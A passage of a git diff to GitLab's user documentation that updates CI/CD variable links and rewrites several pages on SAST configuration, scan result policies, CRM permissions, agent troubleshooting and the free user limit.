support and test. There are many variables, such as environment variables, that you can pass in and they will work. This is a large list, many of which we may be unaware of, and as such is not documented. For example, to pass the non-GitLab environment variable `HTTPS_PROXY` to all Dependency Scanning jobs, -set it as a [custom CI/CD variable in your `.gitlab-ci.yml`](../../../ci/variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) +set it as a [CI/CD variable in your `.gitlab-ci.yml`](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) file like this: ```yaml @@ -697,7 +697,7 @@ variables: -----END CERTIFICATE----- ``` -The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#for-a-project), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. ### Using private Maven repositories diff --git a/doc/user/application_security/iac_scanning/index.md b/doc/user/application_security/iac_scanning/index.md index 1c14c529523..24448dc9668 100644 --- a/doc/user/application_security/iac_scanning/index.md +++ b/doc/user/application_security/iac_scanning/index.md @@ -221,8 +221,8 @@ For example, you might need to avoid a regression in a later release. To override the automatic update behavior, set the `SAST_ANALYZER_IMAGE_TAG` CI/CD variable in your CI/CD configuration file after you include the [`SAST-IaC.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST-IaC.gitlab-ci.yml). -Only set this variable within a specific job. -If you set it [at the top level](../../../ci/variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers. +Only set this variable in a specific job. +If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers. You can set the tag to: diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index 6629c798cfa..a623b819b08 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -126,7 +126,7 @@ To enable all GitLab Security scanning tools, with default settings, enable - [Auto License Compliance](../../topics/autodevops/stages.md#auto-license-compliance) - [Auto Container Scanning](../../topics/autodevops/stages.md#auto-container-scanning) -While you cannot directly customize Auto DevOps, you can [include the Auto DevOps template in your project's `.gitlab-ci.yml` file](../../topics/autodevops/customize.md#customizing-gitlab-ciyml). +While you cannot directly customize Auto DevOps, you can [include the Auto DevOps template in your project's `.gitlab-ci.yml` file](../../topics/autodevops/customize.md#customize-gitlab-ciyml). ## Security scanning without Auto DevOps @@ -290,7 +290,7 @@ to pass a username and password. You can set it under your project's settings so that your credentials aren't exposed in `.gitlab-ci.yml`. If the username is `myuser` and the password is `verysecret` then you would -[set the following variable](../../ci/variables/index.md#custom-cicd-variables) +[set the following variable](../../ci/variables/index.md#for-a-project) under your project's settings: | Type | Key | Value | @@ -580,7 +580,7 @@ to the GitLab server and visible in job logs. This message is often followed by the [error `No files to upload`](../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload), and preceded by other errors or warnings that indicate why the JSON report wasn't generated. Check the entire job log for such messages. If you don't find these messages, retry the failed job after -setting `SECURE_LOG_LEVEL: "debug"` as a [custom CI/CD variable](../../ci/variables/index.md#custom-cicd-variables). +setting `SECURE_LOG_LEVEL: "debug"` as a [custom CI/CD variable](../../ci/variables/index.md#for-a-project). This provides extra information to investigate further. ### Getting error message `sast job: config key may not be used with 'rules': only/except` diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md index 05e56560f95..6976956758d 100644 --- a/doc/user/application_security/offline_deployments/index.md +++ b/doc/user/application_security/offline_deployments/index.md @@ -151,7 +151,7 @@ GitLab.com. To do so, set the CI/CD variable `SECURE_ANALYZERS_PREFIX` with the project [container registry](../../packages/container_registry/index.md). You can set this variable in the projects' `.gitlab-ci.yml`, or -in the GitLab UI at the project or group level. See the [GitLab CI/CD variables page](../../../ci/variables/index.md#custom-cicd-variables) +in the GitLab UI at the project or group level. See the [GitLab CI/CD variables page](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui) for more information. #### Variables @@ -227,7 +227,7 @@ these steps: The AutoDevOps templates leverage the `SECURE_ANALYZERS_PREFIX` variable to identify the location of analyzer images. This variable is discussed above in [Using the secure bundle created](#using-the-secure-bundle-created). Ensure that you set this variable to the correct value for where you loaded the analyzer images. - You could consider doing this with a project CI/CD variable or by [modifying](../../../topics/autodevops/customize.md#customizing-gitlab-ciyml) + You could consider doing this with a project CI/CD variable or by [modifying](../../../topics/autodevops/customize.md#customize-gitlab-ciyml) the `.gitlab-ci.yml` file directly. Once these steps are complete, GitLab has local copies of the Secure analyzers and is set up to use diff --git a/doc/user/application_security/policies/scan-result-policies.md b/doc/user/application_security/policies/scan-result-policies.md index 5df910efb15..6bf3532f95e 100644 --- a/doc/user/application_security/policies/scan-result-policies.md +++ b/doc/user/application_security/policies/scan-result-policies.md @@ -17,7 +17,7 @@ job is fully executed. The following video gives you an overview of GitLab scan See the video: <a href="https://youtu.be/w5I9gcUgr9U">Overview of GitLab Scan Result Policies</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/w5I9gcUgr9U" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/w5I9gcUgr9U" frameborder="0" allowfullscreen> </iframe> </figure> ## Scan result policy editor @@ -70,7 +70,7 @@ the following sections and tables provide an alternative. ## `scan_finding` rule type -This rule enforces the defined actions based on the information provided. +This rule enforces the defined actions based on security scan findings. | Field | Type | Possible values | Description | |------------|------|-----------------|-------------| @@ -79,7 +79,19 @@ This rule enforces the defined actions based on the information provided. | `scanners` | `array` of `string` | `sast`, `secret_detection`, `dependency_scanning`, `container_scanning`, `dast`, `coverage_fuzzing`, `api_fuzzing` | The security scanners for this rule to consider. | | `vulnerabilities_allowed` | `integer` | Greater than or equal to zero | Number of vulnerabilities allowed before this rule is considered. | | `severity_levels` | `array` of `string` | `info`, `unknown`, `low`, `medium`, `high`, `critical`| The severity levels for this rule to consider. | -| `vulnerability_states` | `array` of `string` | `newly_detected`, `detected`, `confirmed`, `resolved`, `dismissed` | The vulnerability states for this rule to consider when the target branch is set to the default branch. The `newly_detected` state considers all newly detected vulnerabilities regardless of their status or dismissal. The other states consider findings that match the selected state and already exist in the default branch. | +| `vulnerability_states` | `array` of `string` | `newly_detected`, `detected`, `confirmed`, `resolved`, `dismissed` | All vulnerabilities fall into two categories:<br><br>**Newly Detected Vulnerabilities** - the `newly_detected` policy option covers vulnerabilities that are both `Detected` or `Dismissed` within the merge request itself where the vulnerabilities do not currently exist on the default branch. This policy option requires a pipeline to complete before the rule is evaluated so that it knows whether vulnerabilities are newly detected or not. Merge requests are blocked until the pipeline, and necessary security scans are complete.<br><br> • Detected<br> • Dismissed<br><br>**Pre-Existing Vulnerabilities** - these policy options are evaluated immediately and do not require a pipeline complete as they consider only vulnerabilities previously detected in the default branch.<br><br> • `Detected` - the policy looks for vulnerabilities in the detected state.<br> • `Confirmed` - the policy looks for vulnerabilities in the confirmed state.<br> • `Dismissed` - the policy looks for vulnerabilities in the dismissed state.<br> • `Resolved` - the policy looks for vulnerabilities in the resolved state. | + +## `license_finding` rule type + +This rule enforces the defined actions based on license findings. + +| Field | Type | Possible values | Description | +|------------|------|-----------------|-------------| +| `type` | `string` | `license_finding` | The rule's type. | +| `branches` | `array` of `string` | `[]` or the branch's name | Applicable only to protected target branches. An empty array, `[]`, applies the rule to all protected target branches. | +| `match_on_inclusion` | `boolean` | `true`, `false` | Whether the rule matches inclusion or exclusion of licenses listed in `license_types`. | +| `license_types` | `array` of `string` | license types | License types to match on, for example `BSD` or `MIT`. | +| `license_states` | `array` of `string` | `newly_detected`, `detected` | Whether to match newly detected and/or previously detected licenses. | ## `require_approval` action type diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md index e83825636bf..efbbf447845 100644 --- a/doc/user/application_security/sast/analyzers.md +++ b/doc/user/application_security/sast/analyzers.md @@ -73,7 +73,7 @@ GitLab maintains the analyzer and writes detection rules for it. If you use the [GitLab-managed CI/CD template](index.md#configuration), the Semgrep-based analyzer operates alongside other language-specific analyzers. It runs with GitLab-managed detection rules that mimic the other analyzers' detection rules. -Work to remove language-specific analyzers and replace them with the Semgrep-based analyzer is tracked in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/5245). +Work to remove language-specific analyzers and replace them with the Semgrep-based analyzer is tracked in [epic 5245](https://gitlab.com/groups/gitlab-org/-/epics/5245). In case of duplicate findings, the [analyzer order](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/reports/security/scanner.rb#L15) determines which analyzer's findings are preferred. You can choose to disable the other analyzers early and use Semgrep-based scanning for supported languages before the default behavior changes. If you do so: diff --git a/doc/user/application_security/sast/customize_rulesets.md b/doc/user/application_security/sast/customize_rulesets.md index 3d8ad6c8bf6..aec7158d2e4 100644 --- a/doc/user/application_security/sast/customize_rulesets.md +++ b/doc/user/application_security/sast/customize_rulesets.md @@ -385,7 +385,7 @@ rules: pattern: print("Hello World") message: | Unauthorized use of Hello World. - severity: CRITICAL + severity: ERROR languages: - python ``` diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index 94719224254..c4352f45704 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -105,7 +105,6 @@ Check the [SAST direction page](https://about.gitlab.com/direction/secure/static | React | [Semgrep](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) with GitLab-managed rules | 13.10 | | Ruby | [brakeman](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) | 13.9 | | Ruby on Rails | [brakeman](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) | 10.3 | -| Scala (any build system) | [Semgrep](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) with GitLab-managed rules | 15.7 | | Scala<sup>2</sup> | [SpotBugs](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) with the find-sec-bugs plugin | 11.0 (SBT) & 11.9 (Gradle, Maven) | | Swift (iOS) | [MobSF (beta)](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf) | 13.5 | | TypeScript<sup>3</sup> | [ESLint security plugin](https://gitlab.com/gitlab-org/security-products/analyzers/eslint) | 11.9, [merged](https://gitlab.com/gitlab-org/gitlab/-/issues/36059) with ESLint in 13.2 | @@ -232,18 +231,23 @@ The [Security Scanner Integration](../../../development/integrations/secure.md) ## Configuration +SAST scanning runs in your CI/CD pipeline. +When you add the GitLab-managed CI/CD template to your pipeline, the right [SAST analyzers](analyzers.md) automatically scan your code and save results as [SAST report artifacts](../../../ci/yaml/artifacts_reports.md#artifactsreportssast). + To configure SAST for a project you can: - Use [Auto SAST](../../../topics/autodevops/stages.md#auto-sast), provided by [Auto DevOps](../../../topics/autodevops/index.md). -- [Configure SAST manually](#configure-sast-manually). +- [Configure SAST in your CI/CD YAML](#configure-sast-in-your-cicd-yaml). - [Configure SAST using the UI](#configure-sast-in-the-ui) (introduced in GitLab 13.3). -### Configure SAST manually +You can enable SAST across many projects by [enforcing scan execution](../index.md#enforce-scan-execution). + +### Configure SAST in your CI/CD YAML -To enable SAST you must [include](../../../ci/yaml/index.md#includetemplate) -the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml) -provided as a part of your GitLab installation. +To enable SAST, you [include](../../../ci/yaml/index.md#includetemplate) +the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). +The template is provided as a part of your GitLab installation. Add the following to your `.gitlab-ci.yml` file: @@ -257,34 +261,16 @@ your project's source code for possible vulnerabilities. The results are saved as a [SAST report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportssast) -that you can later download and analyze. Due to implementation limitations, we -always take the latest SAST artifact available. +that you can later download and analyze. +When downloading, you always receive the most recent SAST artifact available. ### Configure SAST in the UI You can enable and configure SAST in the UI, either with default settings, or with customizations. The method you can use depends on your GitLab license tier. -- [Configure SAST in the UI with default settings](#configure-sast-in-the-ui-with-default-settings). - [Configure SAST in the UI with customizations](#configure-sast-in-the-ui-with-customizations). **(ULTIMATE)** - -### Configure SAST in the UI with default settings - -> [Introduced](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#security-configuration-page-for-all-users) in GitLab 13.9 - -NOTE: -The configuration tool works best with no existing `.gitlab-ci.yml` file, or with a minimal -configuration file. If you have a complex GitLab configuration file it may not be parsed -successfully, and an error may occur. - -To enable and configure SAST with default settings: - -1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Security & Compliance** > **Configuration**. -1. In the SAST section, select **Configure with a merge request**. -1. Review and merge the merge request to enable SAST. - -Pipelines now include a SAST job. +- [Configure SAST in the UI with default settings only](#configure-sast-in-the-ui-with-default-settings-only). ### Configure SAST in the UI with customizations **(ULTIMATE)** @@ -315,6 +301,24 @@ To enable and configure SAST with customizations: Pipelines now include a SAST job. +### Configure SAST in the UI with default settings only + +> [Introduced](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#security-configuration-page-for-all-users) in GitLab 13.9 + +NOTE: +The configuration tool works best with no existing `.gitlab-ci.yml` file, or with a minimal +configuration file. If you have a complex GitLab configuration file it may not be parsed +successfully, and an error may occur. + +To enable and configure SAST with default settings: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Security & Compliance** > **Configuration**. +1. In the SAST section, select **Configure with a merge request**. +1. Review and merge the merge request to enable SAST. + +Pipelines now include a SAST job. + ### Overriding SAST jobs WARNING: @@ -346,7 +350,7 @@ To override the automatic update behavior, set the `SAST_ANALYZER_IMAGE_TAG` CI/ in your CI/CD configuration file after you include the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Only set this variable within a specific job. -If you set it [at the top level](../../../ci/variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers. +If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers. You can set the tag to: @@ -529,7 +533,7 @@ variables: -----END CERTIFICATE----- ``` -The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#for-a-project), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. #### Docker images @@ -602,7 +606,7 @@ flags are added to the scanner's CLI options. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18193) in GitLab 12.5. In addition to the aforementioned SAST configuration CI/CD variables, -all [custom variables](../../../ci/variables/index.md#custom-cicd-variables) are propagated +all [custom variables](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui) are propagated to the underlying SAST analyzer images if [the SAST vendored template](#configuration) is used. @@ -761,7 +765,7 @@ variables: ### Pipeline errors related to changes in the GitLab-managed CI/CD template -The [GitLab-managed SAST CI/CD template](#configure-sast-manually) controls which [analyzer](analyzers.md) jobs run and how they're configured. While using the template, you might experience a job failure or other pipeline error. For example, you might: +The [GitLab-managed SAST CI/CD template](#configure-sast-in-your-cicd-yaml) controls which [analyzer](analyzers.md) jobs run and how they're configured. While using the template, you might experience a job failure or other pipeline error. For example, you might: - See an error message like `'<your job>' needs 'spotbugs-sast' job, but 'spotbugs-sast' is not in any previous stage` when you view an affected pipeline. - Experience another type of unexpected issue with your CI/CD pipeline configuration. @@ -775,12 +779,12 @@ include: If your GitLab instance has limited network connectivity, you can also download the file and host it elsewhere. -We recommend that you only use this solution temporarily and that you return to [the standard template](#configure-sast-manually) as soon as possible. +We recommend that you only use this solution temporarily and that you return to [the standard template](#configure-sast-in-your-cicd-yaml) as soon as possible. ### Errors in a specific analyzer job GitLab SAST [analyzers](analyzers.md) are released as container images. -If you're seeing a new error that doesn't appear to be related to [the GitLab-managed SAST CI/CD template](#configure-sast-manually) or changes in your own project, you can try [pinning the affected analyzer to a specific older version](#pinning-to-minor-image-version). +If you're seeing a new error that doesn't appear to be related to [the GitLab-managed SAST CI/CD template](#configure-sast-in-your-cicd-yaml) or changes in your own project, you can try [pinning the affected analyzer to a specific older version](#pinning-to-minor-image-version). Each [analyzer project](analyzers.md#sast-analyzers) has a `CHANGELOG.md` file listing the changes made in each available version. @@ -895,3 +899,7 @@ to reconfigure, using the new and improved job definition default values. include: - template: Security/SAST.gitlab-ci.yml ``` + +### MobSF job fails with error message `Reading from Info.plist` + +This error happens when `Info.plist` file is missing a `CFBundleIdentifier` key and string value. diff --git a/doc/user/application_security/secret_detection/post_processing.md b/doc/user/application_security/secret_detection/post_processing.md index 9c74467bce5..e026c663854 100644 --- a/doc/user/application_security/secret_detection/post_processing.md +++ b/doc/user/application_security/secret_detection/post_processing.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w FLAG: By default, auto revocation of GitLab personal access tokens is not available. To opt-in on GitLab.com -during the [Beta period](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga), please +during the [Beta period](../../../policy/alpha-beta-support.md#beta-features), please [let us know by completing this form](https://docs.google.com/forms/d/e/1FAIpQLSdRbFhvA5jvI-Rt_Qnl1PQ1znOXKK8m6lRtmM0uva4upetKvQ/viewform). GitLab supports running post-processing hooks after detecting a secret. These diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index e86f9ff4673..22ef3ed8a1b 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -204,6 +204,8 @@ To enable security training for vulnerabilities in your project: 1. On the tab bar, select **Vulnerability Management**. 1. To enable a security training provider, turn on the toggle. +Security training uses content from third-party vendors. You must have an internet connection to use this feature. + ## View security training for a vulnerability > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/6176) in GitLab 14.9. diff --git a/doc/user/clusters/agent/ci_cd_workflow.md b/doc/user/clusters/agent/ci_cd_workflow.md index 2a66549f9cb..304bbaee256 100644 --- a/doc/user/clusters/agent/ci_cd_workflow.md +++ b/doc/user/clusters/agent/ci_cd_workflow.md @@ -141,7 +141,7 @@ deploy: You can assign different agents to separate Auto DevOps jobs. For instance, Auto DevOps can use one agent for `staging` jobs, and another agent for `production` jobs. -To use multiple agents, define an [environment-scoped CI/CD variable](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) +To use multiple agents, define an [environment-scoped CI/CD variable](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) for each agent. For example: 1. Define two variables named `KUBE_CONTEXT`. diff --git a/doc/user/clusters/agent/troubleshooting.md b/doc/user/clusters/agent/troubleshooting.md index 6b5f58f8f76..a44d1e9685b 100644 --- a/doc/user/clusters/agent/troubleshooting.md +++ b/doc/user/clusters/agent/troubleshooting.md @@ -229,3 +229,13 @@ This error occurs when the GitLab agent tries to update an object and the object - Add the required annotations manually. - Delete the object and let the agent recreate it. - Change your [`inventory_policy`](../../infrastructure/clusters/deploy/inventory_object.md#inventory_policy-options) setting. + +## Parse error during installation + +When you install the agent, you might encounter an error that states: + +```shell +Error: parse error at (gitlab-agent/templates/observability-secret.yaml:1): unclosed action +``` + +This error is typically caused by an incompatible version of Helm. To resolve the issue, ensure that you are using a version of Helm [compatible with your version of Kubernetes](index.md#supported-cluster-versions). diff --git a/doc/user/clusters/agent/vulnerabilities.md b/doc/user/clusters/agent/vulnerabilities.md index d9a9981d211..37d742e2b08 100644 --- a/doc/user/clusters/agent/vulnerabilities.md +++ b/doc/user/clusters/agent/vulnerabilities.md @@ -84,9 +84,9 @@ Here is an example of a policy which enables operational container scanning with The keys for a schedule rule are: -- cadence (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans will be run -- agents:<agent-name> (required): The name of the agent to use for scanning -- agents:<agent-name>:namespaces (optional): The Kubernetes namespaces to scan. If omitted, all namespaces will be scanned +- `cadence` (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans will be run +- `agents:<agent-name>` (required): The name of the agent to use for scanning +- `agents:<agent-name>:namespaces` (optional): The Kubernetes namespaces to scan. If omitted, all namespaces will be scanned NOTE: Other elements of the [CRON syntax](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) may work in the cadence field if supported by the [cron](https://github.com/robfig/cron) we are using in our implementation, however, GitLab does not officially test or support them. diff --git a/doc/user/clusters/management_project_template.md b/doc/user/clusters/management_project_template.md index a8d874ed608..6f7fdc46ad4 100644 --- a/doc/user/clusters/management_project_template.md +++ b/doc/user/clusters/management_project_template.md @@ -25,7 +25,7 @@ If you **have not yet** used the agent to connect your cluster with GitLab: 1. [Create a project from the cluster management project template](#create-a-project-based-on-the-cluster-management-project-template). 1. [Configure the project for the agent](agent/install/index.md). 1. In your project's settings, create an - [environment variable](../../ci/variables/index.md#add-a-cicd-variable-to-a-project) named `$KUBE_CONTEXT` + [environment variable](../../ci/variables/index.md#for-a-project) named `$KUBE_CONTEXT` and set the value to `path/to/agent-configuration-project:your-agent-name`. 1. [Configure the files](#configure-the-project) as needed. @@ -37,7 +37,7 @@ If you have already configured the agent and connected a cluster with GitLab: 1. In the project where you configured your agent, [grant the agent access to the new project](agent/ci_cd_workflow.md#authorize-the-agent). 1. In the new project, create an - [environment variable](../../ci/variables/index.md#add-a-cicd-variable-to-a-project) named `$KUBE_CONTEXT` + [environment variable](../../ci/variables/index.md#for-a-project) named `$KUBE_CONTEXT` and set the value to `path/to/agent-configuration-project:your-agent-name`. 1. In the new project, [configure the files](#configure-the-project) as needed. diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index 34434ef046a..cf9fac6b25d 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -388,7 +388,7 @@ source "https://gems.example.com" You can supply a custom root certificate to complete TLS verification by using the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html) -[variable](../../../ci/variables/index.md#custom-cicd-variables) +[variable](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) in the job definition. ### Configuring Cargo projects @@ -412,7 +412,7 @@ To supply a custom root certificate to complete TLS verification, do one of the - Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables). - Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html) - [variable](../../../ci/variables/index.md#custom-cicd-variables) + [variable](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) in the job definition. ### Configuring Composer projects @@ -445,7 +445,7 @@ For example: You can supply a custom root certificate to complete TLS verification by using the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile) -[variable](../../../ci/variables/index.md#custom-cicd-variables) +[variable](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) in the job definition. ### Configuring Conan projects @@ -508,7 +508,7 @@ example: } ``` -If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/index.md#protected-cicd-variables) +If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/index.md#protect-a-cicd-variable) following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name). #### Custom root certificates for Conan diff --git a/doc/user/crm/index.md b/doc/user/crm/index.md index 2d1aeaa1c07..8c4fb6f1334 100644 --- a/doc/user/crm/index.md +++ b/doc/user/crm/index.md @@ -46,6 +46,10 @@ To enable customer relations management in a group or subgroup: ### View contacts linked to a group +Prerequisites: + +- You must have at least the Reporter role for the project. + To view a group's contacts: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -55,6 +59,10 @@ To view a group's contacts: ### Create a contact +Prerequisites: + +- You must have at least the Developer role for the project. + To create a contact: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -68,6 +76,10 @@ contacts using the GraphQL API. ### Edit a contact +Prerequisites: + +- You must have at least the Developer role for the project. + To edit an existing contact: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -98,6 +110,10 @@ To change the state of a contact: ### View organizations +Prerequisites: + +- You must have at least the Reporter role for the project. + To view a group's organizations: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -107,6 +123,10 @@ To view a group's organizations: ### Create an organization +Prerequisites: + +- You must have at least the Developer role for the project. + To create an organization: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -120,6 +140,10 @@ organizations using the GraphQL API. ### Edit an organization +Prerequisites: + +- You must have at least the Developer role for the project. + To edit an existing organization: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -138,6 +162,10 @@ issues are linked to contacts matching the email addresses in the sender and CC ### View issues linked to a contact +Prerequisites: + +- You must have at least the Reporter role for the project. + To view a contact's issues, select a contact from the issue sidebar, or: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -146,6 +174,10 @@ To view a contact's issues, select a contact from the issue sidebar, or: ### View issues linked to an organization +Prerequisites: + +- You must have at least the Reporter role for the project. + To view an organization's issues: 1. On the top bar, select **Main menu > Groups** and find your group. @@ -154,6 +186,10 @@ To view an organization's issues: ### View contacts linked to an issue +Prerequisites: + +- You must have at least the Reporter role for the project. + You can view contacts associated with an issue in the right sidebar. To view a contact's details, hover over the contact's name. @@ -166,6 +202,10 @@ API. ### Add or remove issue contacts +Prerequisites: + +- You must have at least the Reporter role for the project. + ### Add contacts to an issue To add [active](#change-the-state-of-a-contact) contacts to an issue use the `/add_contacts [contact:address@example.com]` diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md index 1e791662a45..44e13f70f2e 100644 --- a/doc/user/discussions/index.md +++ b/doc/user/discussions/index.md @@ -7,6 +7,11 @@ type: reference, howto # Comments and threads **(FREE)** +> - Paginated merge request discussions [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340172) in GitLab 15.1 [with a flag](../../administration/feature_flags.md) named `paginated_mr_discussions`. Disabled by default. +> - Paginated merge request discussions [enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.2. +> - Paginated merge request discussions [enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.3. +> - Paginated merge request discussions [generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/370075) in GitLab 15.8. Feature flag `paginated_mr_discussions` removed. + GitLab encourages communication through comments, threads, and [code suggestions](../project/merge_requests/reviews/suggestions.md). @@ -357,19 +362,3 @@ with a new push. Threads are now resolved if a push makes a diff section outdated. Threads on lines that don't change and top-level resolvable threads are not resolved. - -## Display paginated merge request discussions - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340172) in GitLab 15.1 [with a flag](../../administration/feature_flags.md) named `paginated_mr_discussions`. Disabled by default. -> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.2. -> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.3. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature -per project or for your entire instance, ask an administrator to -[disable the feature flag](../../administration/feature_flags.md) named `paginated_mr_discussions`. -On GitLab.com, this feature is available. - -A merge request can have many discussions. Loading them all in a single request -can be slow. To improve the performance of loading discussions, they are split into multiple -pages, loading sequentially. diff --git a/doc/user/free_user_limit.md b/doc/user/free_user_limit.md index 4f569098d4d..181eb00bb50 100644 --- a/doc/user/free_user_limit.md +++ b/doc/user/free_user_limit.md @@ -6,9 +6,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Free user limit **(FREE SAAS)** -A five-user limit applies to top-level [namespaces](namespace/index.md) with private visibility on GitLab SaaS. This limit is being rolled out gradually, and impacted users will be notified in GitLab.com at least 60 days before the limit is applied. - -When the five-user limit is applied, top-level private namespaces exceeding the user limit are placed in a read-only state. These namespaces cannot write new data to repositories, Git Large File Storage (LFS), packages, or registries. +A five-user limit applies to newly created top-level namespaces with +private visibility on GitLab SaaS. For existing namespaces, this limit +is being rolled out gradually. Impacted users are notified in +GitLab.com at least 60 days before the limit is applied. + +When the five-user limit is applied, top-level private namespaces +exceeding the user limit are placed in a read-only state. These +namespaces cannot write new data to repositories, Git Large File +Storage (LFS), packages, or registries. For the full list of restricted +actions, see [Read-only namespaces](read_only_namespaces.md). ## Manage members in your namespace diff --git a/doc/user/group/access_and_permissions.md b/doc/user/group/access_and_permissions.md index a7358db54df..4629f33f088 100644 --- a/doc/user/group/access_and_permissions.md +++ b/doc/user/group/access_and_permissions.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -56,7 +56,7 @@ To change the permitted Git access protocols for a group: 1. Choose 